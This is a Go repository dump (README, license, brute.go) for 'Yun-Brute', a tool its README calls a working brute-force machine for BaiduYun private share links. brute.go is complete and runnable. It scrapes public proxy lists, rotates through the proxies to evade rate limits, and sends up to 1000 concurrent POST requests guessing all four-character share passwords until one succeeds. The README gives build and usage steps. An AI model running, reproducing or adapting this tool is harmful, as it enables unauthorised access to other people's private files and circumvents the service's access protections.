├── .gitignore ├── LICENSE ├── README.md └── brute.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by .ignore support plugin (hsz.mobi) 2 | *.o 3 | *.a 4 | *.so 5 | _obj 6 | _test 7 | *.[568vq] 8 | [568vq].out 9 | *.cgo1.go 10 | *.cgo2.c 11 | _cgo_defun.c 12 | _cgo_gotypes.go 13 | _cgo_export.* 14 | _testmain.go 15 | *.exe 16 | *.test 17 | *.prof 18 | .idea 19 | *.iml 20 | out 21 | gen 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 SuperFashi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Yun-Brute 2 | [![rcard](https://goreportcard.com/badge/github.com/hanbang-wang/Yun-Brute)](https://goreportcard.com/report/github.com/hanbang-wang/Yun-Brute) 3 | 4 | A working brute-force machine for BaiduYun private share links. 5 | 6 | # Example 7 | ![Example-GIF](https://www.superfashi.com/wp-content/uploads/2016/11/a.gif) 8 | 9 | Try running this link on your own computer/server! 10 | 11 | # Compilation 12 | 13 | Firstly you have to `go get -u` two packages I used in this projext: 14 | 15 | - `gopkg.in/alecthomas/kingpin.v2` 16 | - `gopkg.in/cheggaaa/pb.v1` 17 | 18 | Then clone this project to run. 19 | ```bash 20 | git clone https://github.com/hanbang-wang/Yun-Brute 21 | go run brute.go 22 | ``` 23 | Or simply uses pre-compiled binaries downloaded [here](https://github.com/hanbang-wang/Yun-Brute/releases). 24 | 25 | # Usage 26 | ```bash 27 | brute [] 28 | 29 | Flags: 30 | -h, --help Show context-sensitive help. 31 | -p, --preset="0000" The preset start of key to brute. 32 | -t, --thread=1000 Number of threads. 33 | 34 | Args: 35 | URL of BaiduYun file you want to get. 36 | ``` 37 | 38 | # Feature 39 | - **Resolver** 40 | You can use 2 types of BaiduYun links in the out-of-the-box version. If there's more types of private share links, you can add the resolver yourself, or let me know by sending a PR or taking an issue. 41 | 42 | - **Interrupt-friendly:** 43 | When you press `Ctrl-C` to interrupt the program, it will output the current progress, which allow you to use `-p` flag to continue working later. 44 | 45 | - **Logging:** 46 | Unfortunately the logging would mess up with the progress bar, use `2> /dev/null` to disable logging, or you can try `1>&2`. 47 | 48 | - **Proxying:** 49 | This program contains 4 methods of acquiring proxies, with repetition and failure proxies correction. When there're no proxies left, threads will auto hang up to wait for more proxies to come in. And you can add your own source of proxies easily. 50 | 51 | # License 52 | This little project uses `MIT License`, for more info please visit [LICENSE](LICENSE). 53 | -------------------------------------------------------------------------------- /brute.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "math/rand" 9 | "net/http" 10 | "net/http/cookiejar" 11 | "net/url" 12 | "os" 13 | "os/signal" 14 | "regexp" 15 | "strconv" 16 | "strings" 17 | "sync" 18 | "time" 19 | 20 | "gopkg.in/alecthomas/kingpin.v2" 21 | "gopkg.in/cheggaaa/pb.v1" 22 | ) 23 | 24 | const ( 25 | MAX_VALUE int64 = 1679616 // 36^4 26 | MAX_RETRY = 10 27 | RETRY_TIME = 5 * time.Second 28 | TIMEOUT = 20 * time.Second 29 | ) 30 | 31 | var ( 32 | link = kingpin.Arg("link", "URL of BaiduYun file you want to get.").Required().String() 33 | preset = kingpin.Flag("preset", "The preset start of key to brute.").Short('p').Default("0000").String() 34 | thread = kingpin.Flag("thread", "Number of threads.").Short('t').Default("1000").Int64() 35 | resolver []*Resolve 36 | bar *pb.ProgressBar 37 | surl string 38 | start int64 39 | refer string 40 | wg sync.WaitGroup 41 | proxies map[Proxy]int 42 | updater []*Proxies 43 | mapLocker *sync.Mutex 44 | useable *AtomBool 45 | nullP Proxy 46 | ) 47 | 48 | type Info struct { 49 | Errno int `json:"errno"` 50 | ErrMsg string `json:"err_msg"` 51 | } 52 | 53 | type Proxy struct { 54 | typ, addr, port string 55 | } 56 | 57 | type Resolve struct { 58 | re *regexp.Regexp 59 | fun func(*regexp.Regexp, string) 60 | } 61 | 62 | type Proxies struct { 63 | update func() 64 | } 65 | 66 | type AtomBool struct { 67 | flag bool 68 | lock *sync.Mutex 69 | } 70 | 71 | func (b *AtomBool) Set(value bool) { 72 | b.lock.Lock() 73 | defer b.lock.Unlock() 74 | b.flag = value 75 | } 76 | 77 | func (b *AtomBool) Get() bool { 78 | b.lock.Lock() 79 | defer b.lock.Unlock() 80 | if b.flag { 81 | b.flag = false 82 | return true 83 | } 84 | return false 85 | } 86 | 87 | func getProxy() (Proxy, bool) { 88 | mapLocker.Lock() 89 | defer mapLocker.Unlock() 90 | for { 91 | if len(proxies) <= 0 { 92 | return nullP, false 93 | } 94 | ran := rand.Intn(len(proxies)) 95 | cnt := 0 96 | for i, k := range proxies { 97 | if k >= MAX_RETRY { 98 | delete(proxies, i) 99 | break 100 | } 101 | if cnt == ran { 102 | return i, true 103 | } 104 | cnt++ 105 | } 106 | } 107 | } 108 | 109 | func addProxy(in Proxy) { 110 | mapLocker.Lock() 111 | defer mapLocker.Unlock() 112 | proxies[in] = 0 113 | } 114 | 115 | func deleteProxy(in Proxy) { 116 | mapLocker.Lock() 117 | defer mapLocker.Unlock() 118 | delete(proxies, in) 119 | } 120 | 121 | func increProxy(in Proxy) { 122 | mapLocker.Lock() 123 | defer mapLocker.Unlock() 124 | proxies[in]++ 125 | } 126 | 127 | func saveProxies() { 128 | updater = append(updater, 129 | &Proxies{ 130 | func() { 131 | for { 132 | resp, err := http.Get("https://free-proxy-list.net/") 133 | if err != nil { 134 | log.Println(err) 135 | time.Sleep(RETRY_TIME) 136 | continue 137 | } 138 | conte, err := ioutil.ReadAll(resp.Body) 139 | resp.Body.Close() 140 | if err != nil { 141 | log.Println(err) 142 | time.Sleep(RETRY_TIME) 143 | continue 144 | } 145 | re, _ := regexp.Compile(`(\d+\.\d+\.\d+\.\d+)(\d+).*?.*?.*?.*?(yes|no).*?`) 146 | sca := re.FindAllStringSubmatch(string(conte), -1) 147 | for _, i := range sca { 148 | if len(i) != 4 { 149 | log.Fatal("Unexpected error: ", i) 150 | } 151 | if i[3] == "yes" { 152 | i[3] = "https" 153 | } else if i[3] == "no" { 154 | i[3] = "http" 155 | } 156 | ne := Proxy{i[3], i[1], i[2]} 157 | addProxy(ne) 158 | } 159 | time.Sleep(5 * time.Minute) 160 | } 161 | }, 162 | }) 163 | updater = append(updater, 164 | &Proxies{ 165 | func() { 166 | for { 167 | resp, err := http.Get("https://www.sslproxies.org/") 168 | if err != nil { 169 | log.Println(err) 170 | time.Sleep(RETRY_TIME) 171 | continue 172 | } 173 | conte, err := ioutil.ReadAll(resp.Body) 174 | resp.Body.Close() 175 | if err != nil { 176 | log.Println(err) 177 | time.Sleep(RETRY_TIME) 178 | continue 179 | } 180 | re, _ := regexp.Compile(`(\d+\.\d+\.\d+\.\d+)(\d+).*?`) 181 | sca := re.FindAllStringSubmatch(string(conte), -1) 182 | for _, i := range sca { 183 | if len(i) != 3 { 184 | log.Fatal("Unexpected error: ", i) 185 | } 186 | ne := Proxy{"https", i[1], i[2]} 187 | addProxy(ne) 188 | } 189 | time.Sleep(5 * time.Minute) 190 | } 191 | }, 192 | }) 193 | updater = append(updater, 194 | &Proxies{ 195 | func() { 196 | for { 197 | resp, err := http.Get("https://proxy.coderbusy.com/en-us/classical/https-ready.aspx") 198 | if err != nil { 199 | log.Println(err) 200 | time.Sleep(RETRY_TIME) 201 | continue 202 | } 203 | conte, err := ioutil.ReadAll(resp.Body) 204 | resp.Body.Close() 205 | if err != nil { 206 | log.Println(err) 207 | time.Sleep(RETRY_TIME) 208 | continue 209 | } 210 | conte1 :=strings.Replace(string(conte), "\r\n", "", -1) 211 | re, _ := regexp.Compile(`(\d+\.\d+\.\d+\.\d+).*?.*?.*?`) 212 | sca := re.FindAllStringSubmatch(conte1, -1) 213 | for _, i := range sca { 214 | log.Println(i) 215 | if len(i) != 3 { 216 | log.Fatal("Unexpected error: ", i) 217 | } 218 | ne := Proxy{"https", i[1], i[2]} 219 | addProxy(ne) 220 | } 221 | time.Sleep(5 * time.Minute) 222 | } 223 | }, 224 | }) 225 | } 226 | 227 | func next(now string, count int64) int64 { 228 | num, err := strconv.ParseInt(now, 36, 64) 229 | if err != nil || num < 0 || num > MAX_VALUE { 230 | log.Fatal("Not a valid number!") 231 | } 232 | return num + count 233 | } 234 | 235 | func saveResolver() { 236 | resolver = append(resolver, 237 | &Resolve{ 238 | regexp.MustCompile(`//pan\.baidu\.com/share/init\?surl=([a-zA-Z0-9]+)`), 239 | func(re *regexp.Regexp, ori string) { 240 | ret := re.FindStringSubmatch(ori) 241 | if len(ret) != 2 { 242 | log.Fatal("Unexpected error: ", ori) 243 | } 244 | surl = ret[1] 245 | refer = ori 246 | }, 247 | }) 248 | resolver = append(resolver, 249 | &Resolve{ 250 | regexp.MustCompile(`//pan\.baidu\.com/s/[a-zA-Z0-9]+`), 251 | func(re *regexp.Regexp, ori string) { 252 | jar, _ := cookiejar.New(nil) 253 | session := &http.Client{ 254 | Jar: jar, 255 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 256 | return http.ErrUseLastResponse 257 | }, 258 | } 259 | for { 260 | resp, err := session.Get(ori) 261 | if err != nil { 262 | log.Println(err) 263 | time.Sleep(RETRY_TIME) 264 | continue 265 | } 266 | if resp.StatusCode == 200 { 267 | log.Fatal("Link seems password-less!") 268 | } else if resp.StatusCode == 302 { 269 | if resolver[0].re.MatchString(resp.Header.Get("Location")) { 270 | resolver[0].fun(resolver[0].re, resp.Header.Get("Location")) 271 | } else { 272 | log.Fatalf("Unexpected error: %s %s", ori, resp.Header.Get("Location")) 273 | } 274 | break 275 | } 276 | } 277 | }, 278 | }) 279 | } 280 | 281 | func builder(now string) (*http.Response, Proxy, error) { 282 | var pro Proxy 283 | for { 284 | var ok bool 285 | if pro, ok = getProxy(); ok { 286 | useable.Set(true) 287 | break 288 | } 289 | if useable.Get() { 290 | log.Println("No proxies left! Threads will hang up...") 291 | } 292 | time.Sleep(RETRY_TIME) 293 | } 294 | par, _ := url.Parse(fmt.Sprintf("%s://%s:%s", pro.typ, pro.addr, pro.port)) 295 | session := &http.Client{ 296 | Timeout: TIMEOUT, 297 | Transport: &http.Transport{Proxy: http.ProxyURL(par)}, 298 | } 299 | req, err := http.NewRequest("POST", fmt.Sprintf("https://pan.baidu.com/share/verify?surl=%s", surl), strings.NewReader(fmt.Sprintf("pwd=%04s&vcode=&vcode_str=", now))) 300 | if err != nil { 301 | log.Fatal(err) 302 | } 303 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8") 304 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36") 305 | req.Header.Set("Origin", "https://pan.baidu.com") 306 | req.Header.Set("Referer", refer) 307 | resp, err := session.Do(req) 308 | return resp, pro, err 309 | } 310 | 311 | func tester(work int64) { 312 | for work < MAX_VALUE { 313 | now := strconv.FormatInt(work, 36) 314 | info := new(Info) 315 | for { 316 | if resp, pro, err := builder(now); err == nil { 317 | if resp.StatusCode == 200 { 318 | if err = json.NewDecoder(resp.Body).Decode(info); err == nil { 319 | if info.Errno == 0 { 320 | log.Printf("Key found: %04s!", now) 321 | os.Exit(0) 322 | } else if info.Errno != -9 { 323 | increProxy(pro) 324 | log.Printf("Unknown error! Service returned %d with message: \"%s\"", info.Errno, info.ErrMsg) 325 | } else { 326 | addProxy(pro) // Set the counter to zero 327 | break 328 | } 329 | } 330 | } else if resp.StatusCode == 404 { 331 | deleteProxy(pro) 332 | } else { 333 | increProxy(pro) 334 | log.Printf("Unknown error! Server returned %d!", resp.StatusCode) 335 | } 336 | resp.Body.Close() 337 | } else if strings.Contains(err.Error(), "error connecting to proxy") { // ugly but works 338 | increProxy(pro) 339 | } 340 | time.Sleep(RETRY_TIME) 341 | } 342 | bar.Increment() 343 | work += *thread 344 | } 345 | wg.Done() 346 | } 347 | 348 | func init() { 349 | kingpin.CommandLine.HelpFlag.Short('h') 350 | kingpin.Parse() 351 | saveResolver() // For future expansion of resolver 352 | var indi int 353 | for indi = 0; indi < len(resolver); indi++ { 354 | if resolver[indi].re.MatchString(*link) { 355 | resolver[indi].fun(resolver[indi].re, *link) 356 | break 357 | } 358 | } 359 | if indi == len(resolver) { 360 | log.Fatal("No proper resolver found!") 361 | } 362 | mapLocker = new(sync.Mutex) 363 | useable = new(AtomBool) 364 | useable.lock = new(sync.Mutex) 365 | proxies = make(map[Proxy]int) 366 | saveProxies() // For future expansion of proxy 367 | for _, i := range updater { 368 | go i.update() 369 | } 370 | start = next(*preset, 0) 371 | bar = pb.New64(MAX_VALUE) 372 | bar.SetMaxWidth(70) 373 | bar.ShowCounters = false 374 | bar.ShowSpeed = true 375 | bar.ShowTimeLeft = true 376 | bar.Set64(start) 377 | bar.Start() 378 | c := make(chan os.Signal, 1) 379 | signal.Notify(c, os.Interrupt) 380 | go func() { 381 | for _ = range c { 382 | log.Printf("Terminating program, current progress: %04s", strconv.FormatInt(bar.Get(), 36)) 383 | os.Exit(1) 384 | } 385 | }() 386 | } 387 | 388 | func main() { 389 | log.SetPrefix("\r") // For compatibility with indicator 390 | wg.Add(int(*thread)) 391 | for i := int64(0); i < *thread; i++ { 392 | go tester(start + i) 393 | } 394 | wg.Wait() 395 | log.Fatal("No key found!") 396 | } 397 | --------------------------------------------------------------------------------